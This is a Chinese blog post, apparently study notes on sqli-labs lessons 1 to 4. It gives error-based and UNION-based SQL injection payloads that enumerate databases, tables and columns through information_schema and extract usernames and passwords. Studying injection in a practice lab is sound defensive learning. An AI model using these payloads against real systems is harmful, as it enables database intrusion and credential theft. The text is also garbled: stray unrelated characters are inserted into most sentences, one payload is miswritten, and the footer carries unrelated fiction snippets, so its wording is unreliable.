Sqli-labs學習筆記(Part2)

Less1-Error Based-Single quotes - Strings

第一關是基于字符串單引號的注入咒钟,有錯誤回顯.
正常的參數(shù)是id=1糙臼,這時我們就能看到正確的結果返回


正常的頁面顯示

而當我們輸入的是 id=1' 時,數(shù)據(jù)庫就會報錯禾怠,提示我們有錯誤返奉,這時我們就知道id這個參數(shù)存在sql注入漏洞


id=1'時的頁面顯示

在箭頭所指的地方可以看到出錯的位置提示是
'' (1')' LIMIT 0,1 '   // 其中最前面和最后面的兩個單引號是顯示時添加的贝搁,并不在查詢語句中

其中括號括起來的是我們輸入的參數(shù),當我們數(shù)單引號的個數(shù)時可以發(fā)現(xiàn)是奇數(shù)個芽偏,說明有一個單引號沒有被閉合掉雷逆,因此數(shù)據(jù)庫報錯,也把錯誤回顯給我們.
因此我們可以猜測這里的sql查詢語句應該是

select * from table_name where id= ' x ' LIMIT 0,1

其中table_name是數(shù)據(jù)庫的名字哮针,x是我們輸入的參數(shù)关面,因此當我們輸入 id=1' 時,mysql就會報錯
這時如果我們輸入的是 id=1'' (后面是兩個單引號)時十厢,返回的結果變回了正常的頁面


id=1''時的頁面顯示

其中 %27 是單引號的URL編碼等太,同樣地這時如果也有顯示信息,將會是

'' 1'' ' LIMIT 0,1'

這時去數(shù)單引號的個數(shù)蛮放,是偶數(shù)個則所有單引號都閉合了缩抡,因此不會報錯,頁面返回正常.
另外包颁,如果我們想要去掉多余的單引號 ' 瞻想,我們可以進行如下操作


id=1' or 1=1 --+

后面的 ' --+ ' 作用是注釋后面的語句(其實在Mysql中注釋用的是'-- ',最后面有一個空格)娩嚼,這時整條查詢語句就是

select * from table_name where id = '1' or 1=1 --+ LIMIT 0,1

其中 ' or 1=1'這條語句是永真語句蘑险,那么整條語句的查詢結果是查詢id=1的數(shù)據(jù),并且因為注釋掉了后面的 'LIMIT 0,1',返回的不只是一條結果岳悟,但是網頁中只顯示一條佃迄,所以我們只能看到一條結果。(這句話的意思是贵少,數(shù)據(jù)庫返回了多條結果給服務器呵俏,但是服務器只從中選擇了一條結果顯示給用戶)
所以這時,我們就想查看多條結果滔灶,那么怎么辦呢普碎?
首先,我們使用order by n來獲取查詢語句中一共查詢了多少列录平,就是 select 中的是多少列
從n=1,2,3...一直嘗試到頁面出現(xiàn)報錯提示

n=3時麻车,頁面正常

n=4時,頁面報錯

對比上下兩張圖萄涯,可以說明一共有3列數(shù)據(jù)绪氛,則完善查詢語句有

select 1, 2, 3 from table_name where id = 'x'

接下來我們想知道哪一列數(shù)據(jù)顯示在網頁的哪一個位置,我們可以通過union查詢來構造語句

1'and 1=2 union select 1,2,3 --+ 
1' and 1=2 union select 1,2,3 --+ 時的頁面顯示

解釋一下為什么要這樣構造語句涝影,首先,我們把輸入的拼接到整個查詢語句中

select 1,2,3 from table_name where id = '1' and 1=2 union select 1,2,3 --+ LIMIT 0,1

其中union select 是把前后兩個select 語句查詢的結構拼接在一起争占,從前面的order by 查詢結果可以知道一共查詢了3列數(shù)據(jù)燃逻,因此后面的union select 也要查詢3列數(shù)據(jù)序目,不然數(shù)據(jù)庫會報錯.
接著我們看前面的 id='1' and 1=2,因為and需要前后都是真的時候才能返回結果伯襟,否則返回的是空結果猿涨,而 1=2永遠都是假,所以前面的select查詢是沒有結果的姆怪,而后面的union select查詢的結果是顯示 1,2,3.因此在頁面上我們可以看到2和3顯示出來叛赚,而不是之前id=1時用戶的名字和密碼。
為什么要讓前面的查詢結果是空呢稽揭?因為我們前面有提到過俺附,服務器返回給我們用戶的只有一條結果,而為了讓這條結果使我們預期的結果溪掀,也就是1,2,3. 那么我們讓前面查詢結果為空時事镣,返回我們想要的結果,這時我們就能判斷查詢的結果分別顯示在什么位置揪胃。當然我們也可以用 id=-1來使得前面的查詢結果為空.

接下來璃哟,我們就可以根據(jù)上一篇文章總結的流程:數(shù)據(jù)庫-數(shù)據(jù)表-列-數(shù)據(jù) 一層一層進行注入獲取到我們想要的數(shù)據(jù)
1. 獲取數(shù)據(jù)庫,構造語句

-1'  union select 1, group_concat(schema_name),3 from information_schema.schemata --+
獲取數(shù)據(jù)庫

可以看到這時,我們把服務器上所有的數(shù)據(jù)庫名都列出來了喊递。方法就是查詢information_schema這個數(shù)據(jù)庫的schemata表中的schema_name這個字段的數(shù)據(jù)

2. 獲取數(shù)據(jù)表随闪,構造語句

-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

獲取'security'庫的所有數(shù)據(jù)表

這條語句是查詢'security'這個數(shù)據(jù)庫的所有數(shù)據(jù)表,同樣是通過information_shcema這個數(shù)據(jù)庫,不同的是通過tables這個表
3. 獲取數(shù)據(jù)列骚勘,構造語句

-1' union select 1,group(column_name),3 from information_schema.columns where table_name='users' --+
獲取'users'表中的列名

4. 獲取數(shù)據(jù)

-1' union select 1,username,password from security.users where id=1 --+
獲取'users'表中id=1的用戶名字和密碼

通過這條語句的查詢結果铐伴,我們可以猜測到原始的查詢語句應該是

select username, password from users where id='x'

其中x是我們輸入的參數(shù)
這時我們去翻看網頁的源碼可以看到和我們猜測的一樣。


Less1的源碼

Less2 - Error Based - Intiger based

第二關是關于整數(shù)型數(shù)據(jù)的注入调鲸,和第一關類似盛杰,但是有一點小區(qū)別


id=1'時異常頁面

可以看到區(qū)別在于對參數(shù)的使用上少了兩個單引號 ' ',也就是查詢的語句變成了

select * from table_name where id = x LIMIT 0,1

可以看到在后面輸入的參數(shù)x處沒有單引號包圍著藐石,所以此時我們也就不需要破壞原來的單引號即供,可以直接用union select。
翻看網頁的源碼檢查一下


Less2的源碼

其他的和第一關都是一樣的于微,我們可以利用第一關的方法和流程逗嫡,同樣對這關進行Sql注入的練習

Less3 - Error Based - Single quotes with twist - string

這一關和第一關一樣含有單引號,另外還用了括號把參數(shù)包圍了起來
當我們輸入 id=1'時可以看到異常頁面

id=1'時的異常頁面

可以看到報錯顯示了 '1'') LIMIT 0,1結合我們前面第一關的報錯株依,我們可以猜測到這里用到查詢語句是

select * from table_name where id = (' x ') LIMIIT 0,1

這時我們要想像第一關用union select注入前驱证,我們必須自己閉合掉左括號,然后注釋右括號恋腕,也就是使用
1' ) union select 1,2,3--+這樣的語句抹锄,當我們帶回到原來的語句可以看到查詢語句被我們修改成

select * from table_name where id=(' 1') union select 1,2,3 --+ ') LIMIT 0,1

在 '--+'后面的語句都被注釋,這樣我們就能成功注入到數(shù)據(jù)庫中,否則如果我們還是用第一關的
方法
' 1' union select 1,2,3 --+ '時伙单,查詢語句就會變成

select * from table_name where id = (' 1' union select 1,2,3 --+ ') LIMIT 0,1

這時因為' --+ '注釋了后面的括號获高,所以數(shù)據(jù)庫就會報錯

id=1' union select 1,2,3 --+ 時異常頁面

當然閉合這里括號不只是這一種,還有很多其他的方法吻育,例如') or '1'=('1'念秧,接下來就和第一關的類似了

Less4 - Error Based - double quotes - string

這一關是關于雙引號的,而雙引號和單引號是類似的布疼,我們只需把第一關的單引號都換成雙引號就可以了
當我們輸入id=1"時

id=1"時的異常頁面

可以看到報錯顯示了 " 1 " ") LIMIT 0,1摊趾,這意味著代碼當中對id參數(shù)進行了 " "和( )的包裝,翻看源碼可以看到
Less4的源碼

那么我們就可以輸入id=1") union select 1,2,3 --+ 進行和第一關一樣的注入

總結

到目前為止游两,對Less1-Less4的注入學習的差不多了砾层,基本的注入流程我們也過了一遍,按照數(shù)據(jù)庫->數(shù)據(jù)表->數(shù)據(jù)列->數(shù)據(jù)的順序一層層獲取我們想要的數(shù)據(jù)器罐。Less1到Less4是最簡單的注入了梢为,沒有對用戶輸入的參數(shù)進行任何過濾,直接拼接到查詢語句中轰坊,這使得我們能很輕松的利用sql注入進入到數(shù)據(jù)庫獲取到我們想要的數(shù)據(jù).

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末铸董,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子肴沫,更是在濱河造成了極大的恐慌粟害,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,734評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件悲幅,死亡現(xiàn)場離奇詭異,居然都是意外死亡站蝠,警方通過查閱死者的電腦和手機汰具,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,931評論 3 394
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來菱魔,“玉大人留荔,你說我怎么就攤上這事±骄耄” “怎么了聚蝶?”我有些...
    開封第一講書人閱讀 164,133評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長藻治。 經常有香客問我碘勉,道長,這世上最難降的妖魔是什么桩卵? 我笑而不...
    開封第一講書人閱讀 58,532評論 1 293
  • 正文 為了忘掉前任验靡,我火速辦了婚禮倍宾,結果婚禮上,老公的妹妹穿的比我還像新娘晴叨。我一直安慰自己凿宾,他們只是感情好矾屯,可當我...
    茶點故事閱讀 67,585評論 6 392
  • 文/花漫 我一把揭開白布兼蕊。 她就那樣靜靜地躺著,像睡著了一般件蚕。 火紅的嫁衣襯著肌膚如雪孙技。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,462評論 1 302
  • 那天排作,我揣著相機與錄音牵啦,去河邊找鬼。 笑死妄痪,一個胖子當著我的面吹牛哈雏,可吹牛的內容都是我干的。 我是一名探鬼主播衫生,決...
    沈念sama閱讀 40,262評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼裳瘪,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了罪针?” 一聲冷哼從身側響起彭羹,我...
    開封第一講書人閱讀 39,153評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎泪酱,沒想到半個月后派殷,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經...
    沈念sama閱讀 45,587評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡墓阀,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,792評論 3 336
  • 正文 我和宋清朗相戀三年毡惜,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片斯撮。...
    茶點故事閱讀 39,919評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡经伙,死狀恐怖,靈堂內的尸體忽然破棺而出吮成,到底是詐尸還是另有隱情橱乱,我是刑警寧澤,帶...
    沈念sama閱讀 35,635評論 5 345
  • 正文 年R本政府宣布粱甫,位于F島的核電站泳叠,受9級特大地震影響,放射性物質發(fā)生泄漏茶宵。R本人自食惡果不足惜危纫,卻給世界環(huán)境...
    茶點故事閱讀 41,237評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧种蝶,春花似錦契耿、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,855評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至盯滚,卻和暖如春踢械,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背魄藕。 一陣腳步聲響...
    開封第一講書人閱讀 32,983評論 1 269
  • 我被黑心中介騙來泰國打工内列, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人背率。 一個月前我還...
    沈念sama閱讀 48,048評論 3 370
  • 正文 我出身青樓话瞧,卻偏偏與公主長得像,于是被迫代替她去往敵國和親寝姿。 傳聞我的和親對象是個殘疾皇子交排,可洞房花燭夜當晚...
    茶點故事閱讀 44,864評論 2 354

推薦閱讀更多精彩內容

  • web應用程序會對用戶的輸入進行驗證,過濾其中的一些關鍵字会油,這種過濾我們可以試著用下面的方法避開个粱。 1、 不使用被...
    查無此人asdasd閱讀 7,272評論 0 5
  • MYSQL 基礎知識 1 MySQL數(shù)據(jù)庫概要 2 簡單MySQL環(huán)境 3 數(shù)據(jù)的存儲和獲取 4 MySQL基本操...
    Kingtester閱讀 7,813評論 5 116
  • 我害怕你不再需要我 就像那風箏想要努力掙脫 透明的線 因為風的寵愛 我不是一個有求必應的長輩 我是那個想要讀懂你內...
    鵝卵石媽媽閱讀 179評論 8 1
  • 1翻翩、中國曲藝百花園中都许,可謂萬紫千紅,春色如許嫂冻。 之前對二人轉的感覺就是 “插科打諢黃段子”胶征,今日看了秦志平和鄭淑云...
    游遍5A景區(qū)深度解說閱讀 290評論 0 0
  • 幸福像花一樣2閱讀 211評論 0 0